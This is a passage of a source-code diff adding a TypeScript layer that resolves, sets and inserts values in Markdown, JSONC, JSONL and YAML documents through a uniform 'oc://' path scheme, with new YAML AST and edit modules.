'./jsonc/edit.js'; +import { resolveJsoncOcPath } from './jsonc/resolve.js'; +import type { JsonlAst } from './jsonl/ast.js'; +import { appendJsonlOcPath as appendJsonlLine, setJsonlOcPath } from './jsonl/edit.js'; +import { resolveJsonlOcPath } from './jsonl/resolve.js'; +import { setMdOcPath } from './edit.js'; +import type { OcPath } from './oc-path.js'; +import { + formatOcPath, + hasWildcard, + isQuotedSeg, + OcPathError, + splitRespectingBrackets, + unquoteSeg, +} from './oc-path.js'; +import { resolveMdOcPath } from './resolve.js'; +import { emitJsonc } from './jsonc/emit.js'; +import { emitJsonl } from './jsonl/emit.js'; +import type { YamlAst } from './yaml/ast.js'; +import { insertYamlOcPath, setYamlOcPath } from './yaml/edit.js'; +import { resolveYamlOcPath } from './yaml/resolve.js'; + +// ---------- Public types --------------------------------------------------- + +/** Tagged-union of every AST kind the substrate supports. */ +export type OcAst = MdAst | JsoncAst | JsonlAst | YamlAst; + +/** + * Universal resolve result. Same shape regardless of AST kind so + * consumers branch only on `match.kind`. + * + * `leaf` carries the value as a string — the canonical leaf form on + * the wire, suitable for direct comparison or display. Numeric/bool + * leaves are stringified deterministically (`String(42)` → `'42'`, + * `String(true)` → `'true'`). + * + * `node` describes which kind of structural node the path resolved to + * (md-block, jsonc-object, jsonl-line, etc.) — the descriptor lets + * tooling format / drill in without re-parsing the kind tag. + * + * `insertion-point` is returned when the path's terminal segment is + * an insertion marker (`+`, `+key`, `+nnn`) and the parent is a valid + * container. + * + * **`line`** is the 1-based source line of the matched node, or `1` + * for the root / synthetic constructions where no source line exists. + * Lint rules use it directly for diagnostic positioning instead of + * walking the kind-specific AST a second time. + */ +export type OcMatch = + | { readonly kind: 'root'; readonly ast: OcAst; readonly line: number } + | { readonly kind: 'leaf'; readonly valueText: string; readonly leafType: LeafType; readonly line: number } + | { readonly kind: 'node'; readonly descriptor: NodeDescriptor; readonly line: number } + | { readonly kind: 'insertion-point'; readonly container: ContainerKind; readonly line: number }; + +export type LeafType = 'string' | 'number' | 'boolean' | 'null'; + +export type NodeDescriptor = + | 'md-block' + | 'md-item' + | 'jsonc-object' + | 'jsonc-array' + | 'jsonl-line' + | 'yaml-map' + | 'yaml-seq'; + +export type ContainerKind = + | 'md-section' // append item to a section + | 'md-file' // append a section to the file + | 'md-frontmatter' // add a frontmatter key + | 'jsonc-object' + | 'jsonc-array' + | 'jsonl-file' // append a line + | 'yaml-map' // add key to YAML map + | 'yaml-seq'; // append item to YAML seq + +export type SetResult = + | { readonly ok: true; readonly ast: OcAst } + | { + readonly ok: false; + readonly reason: + | 'unresolved' + | 'no-root' + | 'not-writable' + | 'no-item-kv' + | 'not-a-value-line' + | 'parse-error' + | 'type-mismatch' + | 'wildcard-not-allowed'; + readonly detail?: string; + }; + +// ---------- Insertion-syntax detection ------------------------------------- + +/** + * Inspect the path for an insertion marker on the deepest segment. + * A segment of `+`, `+`, or `+` indicates insertion at the + * parent. Returns the parent path (with insertion segment stripped) + + * the marker; or `null` for a plain (non-insertion) path. + */ +export interface InsertionInfo { + readonly parentPath: OcPath; + readonly marker: '+' | { kind: 'keyed'; key: string } | { kind: 'indexed'; index: number }; +} + +export function detectInsertion(path: OcPath): InsertionInfo | null { + // Find the deepest defined segment. + const segments: Array<{ slot: 'section' | 'item' | 'field'; value: string }> = []; + if (path.section !== undefined) {segments.push({ slot: 'section', value: path.section });} + if (path.item !== undefined) {segments.push({ slot: 'item', value: path.item });} + if (path.field !== undefined) {segments.push({ slot: 'field', value: path.field });} + if (segments.length === 0) {return null;} + + const last = segments[segments.length - 1]; + if (!last.value.startsWith('+')) {return null;} + + const rest = last.value.slice(1); + let marker: InsertionInfo['marker']; + if (rest.length === 0) {marker = '+';} + else if (/^\d+$/.test(rest)) {marker = { kind: 'indexed', index: Number(rest) };} + else {marker = { kind: 'keyed', key: rest };} + + // Strip the deepest segment from the path. + const parentPath: OcPath = { + file: path.file, + ...(last.slot !== 'section' && path.section !== undefined ? { section: path.section } : {}), + ...(last.slot !== 'item' && path.item !== undefined ? { item: path.item } : {}), + ...(last.slot !== 'field' && path.field !== undefined ? { field: path.field } : {}), + ...(path.session !== undefined ? { session: path.session } : {}), + }; + return { parentPath, marker }; +} + +// ---------- Universal resolve ---------------------------------------------- + +/** + * Resolve an `OcPath` against any AST. Returns a kind-agnostic match + * shape or `null` when the path doesn't resolve. + * + * Insertion-marker paths return `{kind: 'insertion-point', container}` + * if the parent is a valid container; otherwise `null`. + */ +export function resolveOcPath(ast: OcAst, path: OcPath): OcMatch | null { + // Wildcard guard: `resolveOcPath` is the single-match verb. Wildcards + // belong to `findOcPaths` (multi-match). Throw with a structured code + // (consistent with `setOcPath`'s `wildcard-not-allowed` discriminator) + // — silent `null` here is indistinguishable from "path doesn't + // resolve", so consumers couldn't tell whether they should switch to + // findOcPaths or accept the address as missing. + if (hasWildcard(path)) { + throw new OcPathError( + `resolveOcPath received a wildcard pattern; use findOcPaths instead: ${formatOcPath(path)}`, + formatOcPath(path), + 'OC_PATH_WILDCARD_IN_RESOLVE', + ); + } + const insertion = detectInsertion(path); + if (insertion !== null) { + return resolveInsertion(ast, insertion); + } + + switch (ast.kind) { + case 'md': + return resolveMdToUniversal(ast, path); + case 'jsonc': + return resolveJsoncToUniversal(ast, path); + case 'jsonl': + return resolveJsonlToUniversal(ast, path); + case 'yaml': + return resolveYamlToUniversal(ast, path); + } + return null; +} + +function resolveYamlToUniversal(ast: YamlAst, path: OcPath): OcMatch | null { + const m = resolveYamlOcPath(ast, path); + if (m === null) {return null;} + if (m.kind === 'root') {return { kind: 'root', ast, line: 1 };} + // Walk the AST one more time to extract the matched node's range + // — the per-kind YamlOcPathMatch shape doesn't surface it directly. + // Cheap relative to the resolve cost; trades CPU for type cleanliness. + const line = locateYamlLine(ast, path); + if (m.kind === 'map') {return { kind: 'node', descriptor: 'yaml-map', line };} + if (m.kind === 'seq') {return { kind: 'node', descriptor: 'yaml-seq', line };} + if (m.kind === 'scalar' || m.kind === 'pair') { + const v = m.value; + if (v === null) {return { kind: 'leaf', valueText: 'null', leafType: 'null', line };} + if (typeof v === 'string') {return { kind: 'leaf', valueText: v, leafType: 'string', line };} + if (typeof v === 'number') {return { kind: 'leaf', valueText: String(v), leafType: 'number', line };} + if (typeof v === 'boolean') {return { kind: 'leaf', valueText: String(v), leafType: 'boolean', line };} + // Anything else (Date / BigInt / collection) — JSON-stringify so we + // don't end up with `[object Object]` in the leaf text. Falls back + // to literal "null" if JSON.stringify yields undefined. + const valueText = JSON.stringify(v) ?? 'null'; + return { kind: 'leaf', valueText, leafType: 'string', line }; + } + return null; +} + +function locateYamlLine(ast: YamlAst, path: OcPath): number { + // Re-walk the yaml CST to find the matched node's byte range, then + // convert via the AST's `lineCounter`. Quote-aware split + unquote so + // a quoted segment containing `.` survives as a single key (matches + // `resolveYamlOcPath`'s lookup behavior; without this a key like + // `"github.com/foo"` would shred and the line locator would fall back + // to line 1 silently). + const segments: string[] = []; + const collect = (slot: string | undefined) => { + if (slot === undefined) {return;} + for (const sub of splitRespectingBrackets(slot, '.')) { + segments.push(isQuotedSeg(sub) ? unquoteSeg(sub) : sub); + } + }; + collect(path.section); + collect(path.item); + collect(path.field); + if (segments.length === 0) {return 1;} + let node: unknown = ast.doc.contents; + for (const seg of segments) { + if (node === null || node === undefined) {return 1;} + const n = node as { items?: unknown[] }; + if (Array.isArray(n.items)) { + // Map or seq. + const items = n.items; + const isMap = items.length > 0 && typeof items[0] === 'object' && items[0] !== null && 'key' in (items[0]); + if (isMap) { + const pair = (items as { key: { value?: unknown }; value: unknown }[]).find((p) => { + const k = p.key !== null && typeof p.key === 'object' && 'value' in p.key ? p.key.value : p.key; + return String(k) === seg; + }); + if (pair === undefined) {return 1;} + node = pair.value; + } else { + const idx = Number(seg); + if (!Number.isInteger(idx) || idx < 0 || idx >= items.length) {return 1;} + node = items[idx]; + } + } else { + return 1; + } + } + if (node === null || typeof node !== 'object') {return 1;} + const range = (node as { range?: readonly [number, number, number] }).range; + if (range === undefined) {return 1;} + return ast.lineCounter.linePos(range[0]).line; +} + +function resolveMdToUniversal(ast: MdAst, path: OcPath): OcMatch | null { + const m = resolveMdOcPath(ast, path); + if (m === null) {return null;} + switch (m.kind) { + case 'root': + return { kind: 'root', ast, line: 1 }; + case 'frontmatter': + return { kind: 'leaf', valueText: m.node.value, leafType: 'string', line: m.node.line }; + case 'block': + return { kind: 'node', descriptor: 'md-block', line: m.node.line }; + case 'item': + return { kind: 'node', descriptor: 'md-item', line: m.node.line }; + case 'item-field': + return { kind: 'leaf', valueText: m.value, leafType: 'string', line: m.node.line }; + } + return null; +} + +function resolveJsoncToUniversal(ast: JsoncAst, path: OcPath): OcMatch | null { + const m = resolveJsoncOcPath(ast, path); + if (m === null) {return null;} + if (m.kind === 'root') {return { kind: 'root', ast, line: 1 };} + if (m.kind === 'object-entry') { + return jsoncValueToMatch(m.node.value, m.node.line); + } + // m.kind === 'value' — array element or root: line lives on the value itself. + return jsoncValueToMatch(m.node, m.node.line ?? 1); +} + +function jsoncValueToMatch(value: JsoncValue, line: number): OcMatch { + switch (value.kind) { + case 'object': + return { kind: 'node', descriptor: 'jsonc-object', line }; + case 'array': + return { kind: 'node', descriptor: 'jsonc-array', line }; + case 'string': + return { kind: 'leaf', valueText: value.value, leafType: 'string', line }; + case 'number': + return { kind: 'leaf', valueText: String(value.value), leafType: 'number', line }; + case 'boolean': + return { kind: 'leaf', valueText: String(value.value), leafType: 'boolean', line }; + case 'null': + return { kind: 'leaf', valueText: 'null', leafType: 'null', line }; + } + throw new Error(`unreachable: jsoncValueToMatch kind`); +} + +function resolveJsonlToUniversal(ast: JsonlAst, path: OcPath): OcMatch | null { + const m = resolveJsonlOcPath(ast, path); + if (m === null) {return null;} + if (m.kind === 'root') {return { kind: 'root', ast, line: 1 };} + if (m.kind === 'line') {return { kind: 'node', descriptor: 'jsonl-line', line: m.node.line };} + // Inside-line jsonc parser starts numbering at 1 for each jsonl + // line, so `m.node.line` would always be 1 for any jsonl-resolved + // match. Use `m.line` (the JsonlLine's file-level line) — by + // construction every inside-line node sits on the same file line. + if (m.kind === 'object-entry') {return jsoncValueToMatch(m.node.value, m.line);} + return jsoncValueToMatch(m.node, m.line); +} + +function resolveInsertion(ast: OcAst, info: InsertionInfo): OcMatch | null { + // For an insertion to be valid the parent must resolve to a container + // we know how to extend. Inspect the parent. + switch (ast.kind) { + case 'md': + return resolveMdInsertion(ast, info); + case 'jsonc': + return resolveJsoncInsertion(ast, info); + case 'jsonl': + return resolveJsonlInsertion(ast, info); + case 'yaml': + return resolveYamlInsertion(ast, info); + } + return null; +} + +function resolveYamlInsertion(ast: YamlAst, info: InsertionInfo): OcMatch | null { + const m = resolveYamlOcPath(ast, info.parentPath); + if (m === null) {return null;} + const line = locateYamlLine(ast, info.parentPath); + if (m.kind === 'map') {return { kind: 'insertion-point', container: 'yaml-map', line };} + if (m.kind === 'seq') {return { kind: 'insertion-point', container: 'yaml-seq', line };} + if (m.kind === 'root') { + // Top-level: inspect the document root. + const root = ast.doc.contents; + if (root === null) {return null;} + if ('items' in (root as object)) { + const isMapLike = (root as { items: { key?: unknown }[] }).items.every((p) => 'key' in p); + return { kind: 'insertion-point', container: isMapLike ? 'yaml-map' : 'yaml-seq', line: 1 }; + } + return null; + } + return null; +} + +function resolveMdInsertion(ast: MdAst, info: InsertionInfo): OcMatch | null { + const p = info.parentPath; + // oc://FILE/+ → file-root insertion (new section) + if (p.section === undefined) { + return { kind: 'insertion-point', container: 'md-file', line: 1 }; + } + // oc://FILE/[frontmatter]/+key → frontmatter add + if (p.section === '[frontmatter]') { + return { kind: 'insertion-point', container: 'md-frontmatter', line: 1 }; + } + // oc://FILE/section/+ → append item to section + if (p.item === undefined && p.field === undefined) { + const m = resolveMdOcPath(ast, p); + if (m === null || m.kind !== 'block') {return null;} + return { kind: 'insertion-point', container: 'md-section', line: m.node.line }; + } + return null; +} + +function resolveJsoncInsertion(ast: JsoncAst, info: InsertionInfo): OcMatch | null { + const m = resolveJsoncOcPath(ast, info.parentPath); + if (m === null) {return null;} + let containerNode: JsoncValue; + if (m.kind === 'root') { + if (ast.root === null) {return null;} + containerNode = ast.root; + } else if (m.kind === 'object-entry') { + containerNode = m.node.value; + } else { + containerNode = m.node; + } + const line = containerNode.line ?? 1; + if (containerNode.kind === 'object') { + return { kind: 'insertion-point', container: 'jsonc-object', line }; + } + if (containerNode.kind === 'array') { + return { kind: 'insertion-point', container: 'jsonc-array', line }; + } + return null; +} + +function resolveJsonlInsertion(ast: JsonlAst, info: InsertionInfo): OcMatch | null { + // jsonl insertion only makes sense at the file level: `oc://FILE/+`. + if (info.parentPath.section !== undefined) {return null;} + // The only insertion point for jsonl is "after the last line" — the + // line surfaced is `lastLine + 1` so consumers can render correctly. + const lastLine = ast.lines.length > 0 ? ast.lines[ast.lines.length - 1].line : 0; + return { kind: 'insertion-point', container: 'jsonl-file', line: lastLine + 1 }; +} + +// ---------- Universal set -------------------------------------------------- + +/** + * Replace or insert at `path` with `value` (always a string). + * Substrate dispatches via `ast.kind` and coerces value at leaves + * based on the existing AST shape at the path location. + * + * For insertion-marker paths (`+`, `+key`, `+nnn`) the value is parsed + * as kind-appropriate content (JSON for jsonc/jsonl; plain text for md). + * + * Returns a structured result; never throws on parser-tolerated input. + * Sentinel-guard violations DO throw `OcEmitSentinelError` (defense in + * depth — refuse to write redacted content even when caller "asked"). + */ +export function setOcPath(ast: OcAst, path: OcPath, value: string): SetResult { + // Wildcard guard: `setOcPath` writes a single concrete leaf. A pattern + // would be ambiguous (which match wins?) so we reject early. Callers + // who want multi-set should `findOcPaths(...)` then `setOcPath` per + // resolved path — the explicit loop is the right shape. + if (hasWildcard(path)) { + return { + ok: false, + reason: 'wildcard-not-allowed', + detail: 'setOcPath requires a concrete path; use findOcPaths to enumerate matches first', + }; + } + const insertion = detectInsertion(path); + if (insertion !== null) { + return setInsertion(ast, insertion, value); + } + + switch (ast.kind) { + case 'md': + return setMdLeaf(ast, path, value); + case 'jsonc': + return setJsoncLeaf(ast, path, value); + case 'jsonl': + return setJsonlLeaf(ast, path, value); + case 'yaml': + return setYamlLeaf(ast, path, value); + } + throw new Error(`unreachable: setOcPath kind`); +} + +function setYamlLeaf(ast: YamlAst, path: OcPath, value: string): SetResult { + const existing = resolveYamlOcPath(ast, path); + if (existing === null) {return { ok: false, reason: 'unresolved' };} + if (existing.kind === 'root') { + return { ok: false, reason: 'not-writable', detail: 'root replacement not supported via setOcPath' }; + } + // Coerce value based on existing scalar type. + let coerced: unknown = value; + if (existing.kind === 'scalar' || existing.kind === 'pair') { + const cur = existing.value; + if (typeof cur === 'number') { + const n = Number(value); + if (!Number.isFinite(n)) {return { ok: false, reason: 'parse-error' };} + coerced = n; + } else if (typeof cur === 'boolean') { + if (value === 'true') {coerced = true;} + else if (value === 'false') {coerced = false;} + else {return { ok: false, reason: 'parse-error' };} + } else if (cur === null && value !== 'null') { + return { ok: false, reason: 'parse-error' }; + } else if (cur === null && value === 'null') { + coerced = null; + } + } + const r = setYamlOcPath(ast, path, coerced); + if (r.ok) {return { ok: true, ast: r.ast };} + return { ok: false, reason: r.reason }; +} + +function setMdLeaf(ast: MdAst, path: OcPath, value: string): SetResult { + const r = setMdOcPath(ast, path, value); + if (r.ok) {return { ok: true, ast: r.ast };} + return { ok: false, reason: r.reason }; +} + +function setJsoncLeaf(ast: JsoncAst, path: OcPath, value: string): SetResult { + // Inspect the existing leaf to determine target type for coercion. + const existing = resolveJsoncOcPath(ast, path); + if (existing === null) {return { ok: false, reason: 'unresolved' };} + if (existing.kind === 'root') { + return { ok: false, reason: 'not-writable', detail: 'root replacement is not supported via setOcPath' }; + } + const leafValue = existing.kind === 'object-entry' ? existing.node.value : existing.node; + const coerced = coerceJsoncLeaf(value, leafValue); + if (coerced === null) { + return { ok: false, reason: 'parse-error', detail: `cannot coerce "${value}" to ${leafValue.kind}` }; + } + const r = setJsoncOcPath(ast, path, coerced); + if (r.ok) {return { ok: true, ast: r.ast };} + return { ok: false, reason: r.reason }; +} + +function setJsonlLeaf(ast: JsonlAst, path: OcPath, value: string): SetResult { + const existing = resolveJsonlOcPath(ast, path); + if (existing === null) {return { ok: false, reason: 'unresolved' };} + if (existing.kind === 'root') { + return { ok: false, reason: 'not-writable', detail: 'root replacement is not supported via setOcPath' }; + } + if (existing.kind === 'line') { + // Replacing a whole line — value should be JSON. + const parsed = tryParseJson(value); + if (parsed === undefined) { + return { ok: false, reason: 'parse-error', detail: `line replacement requires JSON value` }; + } + const r = setJsonlOcPath(ast, path, jsonToJsoncValue(parsed)); + if (r.ok) {return { ok: true, ast: r.ast };} + return { ok: false, reason: r.reason }; + } + // Field on a line — leaf coercion. + const leafValue = existing.kind === 'object-entry' ? existing.node.value : existing.node; + const coerced = coerceJsoncLeaf(value, leafValue); + if (coerced === null) { + return { ok: false, reason: 'parse-error', detail: `cannot coerce "${value}" to ${leafValue.kind}` }; + } + const r = setJsonlOcPath(ast, path, coerced); + if (r.ok) {return { ok: true, ast: r.ast };} + return { ok: false, reason: r.reason }; +} + +function setInsertion(ast: OcAst, info: InsertionInfo, value: string): SetResult { + switch (ast.kind) { + case 'md': + return setMdInsertion(ast, info, value); + case 'jsonc': + return setJsoncInsertion(ast, info, value); + case 'jsonl': + return setJsonlInsertion(ast, info, value); + case 'yaml': + return setYamlInsertion(ast, info, value); + } + throw new Error(`unreachable: setInsertion kind`); +} + +function setYamlInsertion(ast: YamlAst, info: InsertionInfo, value: string): SetResult { + // YAML insertion accepts a JSON-shaped value string (so callers can + // insert structured nodes uniformly). For simple scalars the JSON + // form `"foo"` / `42` / `true` works; complex shapes use objects. + const parsed = tryParseJson(value); + if (parsed === undefined) { + return { ok: false, reason: 'parse-error', detail: 'yaml insertion requires JSON value' }; + } + const r = insertYamlOcPath(ast, info.parentPath, info.marker, parsed); + if (r.ok) {return { ok: true, ast: r.ast };} + return { ok: false, reason: r.reason }; +} + +function setMdInsertion(ast: MdAst, info: InsertionInfo, value: string): SetResult { + const p = info.parentPath; + // file-level: append a section. Value is the heading text; body empty. + if (p.section === undefined) { + if (info.marker !== '+') { + return { ok: false, reason: 'not-writable', detail: 'md file-level insertion uses bare `+`' }; + } + const newAst: MdAst = { + ...ast, + blocks: [ + ...ast.blocks, + { + heading: value, + slug: slugifyHeading(value), + line: 0, + bodyText: '', + items: [], + tables: [], + codeBlocks: [], + }, + ], + }; + return { ok: true, ast: rebuildMdRaw(newAst) }; + } + + // [frontmatter] — keyed insertion only + if (p.section === '[frontmatter]') { + if (typeof info.marker !== 'object' || info.marker.kind !== 'keyed') { + return { ok: false, reason: 'not-writable', detail: 'md frontmatter insertion requires +key' }; + } + const key = info.marker.key; + if (ast.frontmatter.some((e) => e.key === key)) { + return { ok: false, reason: 'type-mismatch', detail: `frontmatter key '${key}' already exists; use set, not insert` }; + } + const newAst: MdAst = { + ...ast, + frontmatter: [...ast.frontmatter, { key, value, line: 0 }], + }; + return { ok: true, ast: rebuildMdRaw(newAst) }; + } + + // section-level: append item. Value can be `key: value` (kv) or plain text. + if (p.item === undefined && p.field === undefined) { + if (info.marker !== '+') { + return { ok: false, reason: 'not-writable', detail: 'md section insertion uses bare `+`' }; + } + const blockIdx = ast.blocks.findIndex((b) => b.slug === p.section!.toLowerCase()); + if (blockIdx === -1) {return { ok: false, reason: 'unresolved' };} + const block = ast.blocks[blockIdx]; + const kvMatch = /^([^:]+?)\s*:\s*(.+)$/.exec(value); + const itemLine = `- ${value}`; + const newItem = { + text: value, + slug: slugifyHeading(kvMatch ? kvMatch[1] : value), + line: 0, + ...(kvMatch !== null + ? { kv: { key: kvMatch[1].trim(), value: kvMatch[2].trim() } } + : {}), + }; + const newBodyText = block.bodyText.length === 0 + ? itemLine + : block.bodyText.replace(/\n*$/, '\n') + itemLine; + const newBlocks = ast.blocks.slice(); + newBlocks[blockIdx] = { + ...block, + items: [...block.items, newItem], + bodyText: newBodyText, + }; + return { ok: true, ast: rebuildMdRaw({ ...ast, blocks: newBlocks }) }; + } + + return { ok: false, reason: 'not-writable' }; +} + +function setJsoncInsertion(ast: JsoncAst, info: InsertionInfo, value: string): SetResult { + const containerMatch = resolveJsoncInsertion(ast, info); + if (containerMatch === null) {return { ok: false, reason: 'unresolved' };} + + const parsed = tryParseJson(value); + if (parsed === undefined) { + return { ok: false, reason: 'parse-error', detail: 'jsonc insertion requires JSON value' }; + } + const newJsoncValue = jsonToJsoncValue(parsed); + + if (containerMatch.kind !== 'insertion-point') {return { ok: false, reason: 'unresolved' };} + + if (containerMatch.container === 'jsonc-array') { + // index `+0` valid; bare `+` appends; `+key` rejected. + if (typeof info.marker === 'object' && info.marker.kind === 'keyed') { + return { ok: false, reason: 'type-mismatch', detail: 'cannot insert by key into array' }; + } + return mutateJsoncContainer(ast, info.parentPath, (container) => { + if (container.kind !== 'array') {return null;} + const items = container.items.slice(); + if (info.marker === '+') { + items.push(newJsoncValue); + } else if (typeof info.marker === 'object' && info.marker.kind === 'indexed') { + const idx = Math.min(info.marker.index, items.length); + items.splice(idx, 0, newJsoncValue); + } + return { + kind: 'array', + items, + ...(container.line !== undefined ? { line: container.line } : {}), + }; + }); + } + + // jsonc-object + if (typeof info.marker !== 'object' || info.marker.kind !== 'keyed') { + return { ok: false, reason: 'type-mismatch', detail: 'jsonc object insertion requires +key' }; + } + const key = info.marker.key; + return mutateJsoncContainer(ast, info.parentPath, (container) => { + if (container.kind !== 'object') {return null;} + if (container.entries.some((e) => e.key === key)) {return null;} // duplicate + const newEntry: JsoncEntry = { key, value: newJsoncValue, line: 0 }; + return { + kind: 'object', + entries: [...container.entries, newEntry], + ...(container.line !== undefined ? { line: container.line } : {}), + }; + }); +} + +function setJsonlInsertion(ast: JsonlAst, info: InsertionInfo, value: string): SetResult { + if (info.parentPath.section !== undefined || info.marker !== '+') { + return { ok: false, reason: 'not-writable', detail: 'jsonl insertion only supports oc://FILE/+ append' }; + } + const parsed = tryParseJson(value); + if (parsed === undefined) { + return { ok: false, reason: 'parse-error', detail: 'jsonl line append requires JSON value' }; + } + return { ok: true, ast: appendJsonlLine(ast, jsonToJsoncValue(parsed)) }; +} + +// ---------- Internal helpers ----------------------------------------------- + +function coerceJsoncLeaf(valueText: string, existing: JsoncValue): JsoncValue | null { + // Preserve the existing source line on coerced replacements — the + // semantic node is the same; only its bytes change. + const lineExt = existing.line !== undefined ? { line: existing.line } : {}; + if (existing.kind === 'string') {return { kind: 'string', value: valueText, ...lineExt };} + if (existing.kind === 'number') { + const n = Number(valueText); + return Number.isFinite(n) ? { kind: 'number', value: n, ...lineExt } : null; + } + if (existing.kind === 'boolean') { + if (valueText === 'true') {return { kind: 'boolean', value: true, ...lineExt };} + if (valueText === 'false') {return { kind: 'boolean', value: false, ...lineExt };} + return null; + } + if (existing.kind === 'null') { + return valueText === 'null' ? { kind: 'null', ...lineExt } : null; + } + // Object/array leaf — caller should use insertion or full-replace path. + return null; +} + +function tryParseJson(value: string): unknown { + try { + return JSON.parse(value); + } catch { + return undefined; + } +} + +function jsonToJsoncValue(v: unknown): JsoncValue { + // Synthetic values omit `line` (optional in the type) — the parser + // alone is the source of truth for line metadata. Insertions / + // mutations get the parent's line for surfacing in lint findings. + if (v === null) {return { kind: 'null' };} + if (typeof v === 'string') {return { kind: 'string', value: v };} + if (typeof v === 'number') {return { kind: 'number', value: v };} + if (typeof v === 'boolean') {return { kind: 'boolean', value: v };} + if (Array.isArray(v)) {return { kind: 'array', items: v.map(jsonToJsoncValue) };} + if (typeof v === 'object') { + const obj = v as Record; + return { + kind: 'object', + entries: Object.entries(obj).map(([key, value]) => ({ + key, + value: jsonToJsoncValue(value), + line: 0, + })), + }; + } + // Unsupported (undefined / function / symbol). JSON.parse never produces these. + throw new Error(`unsupported JSON value type: ${typeof v}`); +} + +function mutateJsoncContainer( + ast: JsoncAst, + parentPath: OcPath, + mutate: (container: JsoncValue) => JsoncValue | null, +): SetResult { + if (ast.root === null) {return { ok: false, reason: 'no-root' };} + + // Quote-aware split so JSONC insertion under a key containing + // `/`, `.`, or other special chars works through the parent path. + // `resolveJsoncOcPath` validates with quote-aware splitting; the + // mutation walker MUST use the same predicate or insertion validity + // can be reported and then fail as unresolved. + const segments: string[] = []; + if (parentPath.section !== undefined) {segments.push(...splitRespectingBrackets(parentPath.section, '.'));} + if (parentPath.item !== undefined) {segments.push(...splitRespectingBrackets(parentPath.item, '.'));} + if (parentPath.field !== undefined) {segments.push(...splitRespectingBrackets(parentPath.field, '.'));} + + const newRoot = segments.length === 0 + ? mutate(ast.root) + : mutateAt(ast.root, segments, 0, mutate); + if (newRoot === null) {return { ok: false, reason: 'unresolved' };} + + const next: JsoncAst = { kind: 'jsonc', raw: '', root: newRoot }; + return { ok: true, ast: { ...next, raw: emitJsonc(next, { mode: 'render' }) } }; +} + +function mutateAt( + current: JsoncValue, + segments: readonly string[], + i: number, + mutate: (container: JsoncValue) => JsoncValue | null, +): JsoncValue | null { + const seg = segments[i]; + if (seg === undefined) {return mutate(current);} + if (seg.length === 0) {return null;} + + if (current.kind === 'object') { + // Match `setJsoncOcPath`'s lookup: AST entry keys are unquoted, + // so strip quoting from the path segment before comparing. + const lookupKey = isQuotedSeg(seg) ? unquoteSeg(seg) : seg; + const idx = current.entries.findIndex((e) => e.key === lookupKey); + if (idx === -1) {return null;} + const child = current.entries[idx]; + const replaced = mutateAt(child.value, segments, i + 1, mutate); + if (replaced === null) {return null;} + const newEntries = current.entries.slice(); + newEntries[idx] = { ...child, value: replaced }; + return { + kind: 'object', + entries: newEntries, + ...(current.line !== undefined ? { line: current.line } : {}), + }; + } + if (current.kind === 'array') { + const idx = Number(seg); + if (!Number.isInteger(idx) || idx < 0 || idx >= current.items.length) {return null;} + const child = current.items[idx]; + const replaced = mutateAt(child, segments, i + 1, mutate); + if (replaced === null) {return null;} + const newItems = current.items.slice(); + newItems[idx] = replaced; + return { + kind: 'array', + items: newItems, + ...(current.line !== undefined ? { line: current.line } : {}), + }; + } + return null; +} + +function rebuildMdRaw(ast: MdAst): MdAst { + const parts: string[] = []; + if (ast.frontmatter.length > 0) { + parts.push('---'); + for (const fm of ast.frontmatter) { + parts.push(`${fm.key}: ${formatFrontmatterValue(fm.value)}`); + } + parts.push('---'); + } + if (ast.preamble.length > 0) { + if (parts.length > 0) {parts.push('');} + parts.push(ast.preamble); + } + for (const block of ast.blocks) { + if (parts.length > 0) {parts.push('');} + parts.push(`## ${block.heading}`); + if (block.bodyText.length > 0) {parts.push(block.bodyText);} + } + // Suppress unused — emitJsonl is imported for symmetry but only emitJsonc + // is used in the jsonc mutation helper. + void emitJsonl; + return { ...ast, raw: parts.join('\n') }; +} + +function formatFrontmatterValue(value: string): string { + if (value.length === 0) {return '""';} + if (/[:#&*?|<>=!%@`,[\]{}\r\n]/.test(value)) { + return JSON.stringify(value); + } + return value; +} + +function slugifyHeading(s: string): string { + return s.toLowerCase().trim().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, ''); +} diff --git a/src/oc-path/yaml/ast.ts b/src/oc-path/yaml/ast.ts new file mode 100644 index 00000000000..6141738824c --- /dev/null +++ b/src/oc-path/yaml/ast.ts @@ -0,0 +1,37 @@ +/** + * YAML AST types — wraps the `yaml` library's Document model so the + * substrate can address YAML nodes via `OcPath` while preserving the + * authoring shape (comments, anchors, etc.) for round-trip emit. + * + * **Per-kind discriminator**: `kind: 'yaml'` matches the md / jsonc / + * jsonl pattern. The universal `setOcPath` / `resolveOcPath` dispatch + * via `ast.kind`. + * + * **Byte-fidelity**: `raw` is preserved on the root for round-trip + * emit. The internal `doc` is the parsed `yaml.Document` from the + * `yaml` package — comment-preserving, anchor-aware. + * + * Lobster `.lobster` files (workflow specs) and `.craft/waves/*.yaml` + * (craft system) both flow through this kind. + * + * @module @openclaw/oc-path/yaml/ast + */ + +import type { Document, LineCounter } from 'yaml'; + +/** The root YAML AST. `raw` round-trips byte-identical via emit. */ +export interface YamlAst { + readonly kind: 'yaml'; + readonly raw: string; + /** + * Parsed `yaml.Document` — wraps the comment-preserving CST model. + */ + readonly doc: Document.Parsed; + /** + * `LineCounter` from the `yaml` package. Pass a node's `range[0]` + * (byte offset) to `lineCounter.linePos(offset)` to get + * `{ line, col }` (1-based). Lint rules use this to surface accurate + * line numbers in findings instead of hardcoding `line: 1`. + */ + readonly lineCounter: LineCounter; +} diff --git a/src/oc-path/yaml/edit.ts b/src/oc-path/yaml/edit.ts new file mode 100644 index 00000000000..08faeae2d31 --- /dev/null +++ b/src/oc-path/yaml/edit.ts @@ -0,0 +1,236 @@ +/** + * Mutate a `YamlAst` at an OcPath. Returns a new AST with the value + * replaced. + * + * Implementation uses `doc.setIn(path, value)` from the `yaml` package + * — comment-preserving on edit. Adding a new key does NOT preserve + * surrounding formatting verbatim (the `yaml` library handles + * pretty-printing); for byte-exact preservation use round-trip emit + * on unmodified ASTs. + * + * @module @openclaw/oc-path/yaml/edit + */ + +import { + Document, + isMap, + isScalar, + isSeq, + LineCounter, + parseDocument, + type Node, + type Pair, +} from 'yaml'; +import type { OcPath } from '../oc-path.js'; +import { + isPositionalSeg, + isQuotedSeg, + resolvePositionalSeg, + splitRespectingBrackets, + unquoteSeg, +} from '../oc-path.js'; +import type { YamlAst } from './ast.js'; + +export type YamlEditResult = + | { readonly ok: true; readonly ast: YamlAst } + | { + readonly ok: false; + readonly reason: 'unresolved' | 'no-root' | 'parse-error'; + }; + +export function setYamlOcPath( + ast: YamlAst, + path: OcPath, + newValue: unknown, +): YamlEditResult { + if (ast.doc.contents === null) {return { ok: false, reason: 'no-root' };} + + const rawSegments = 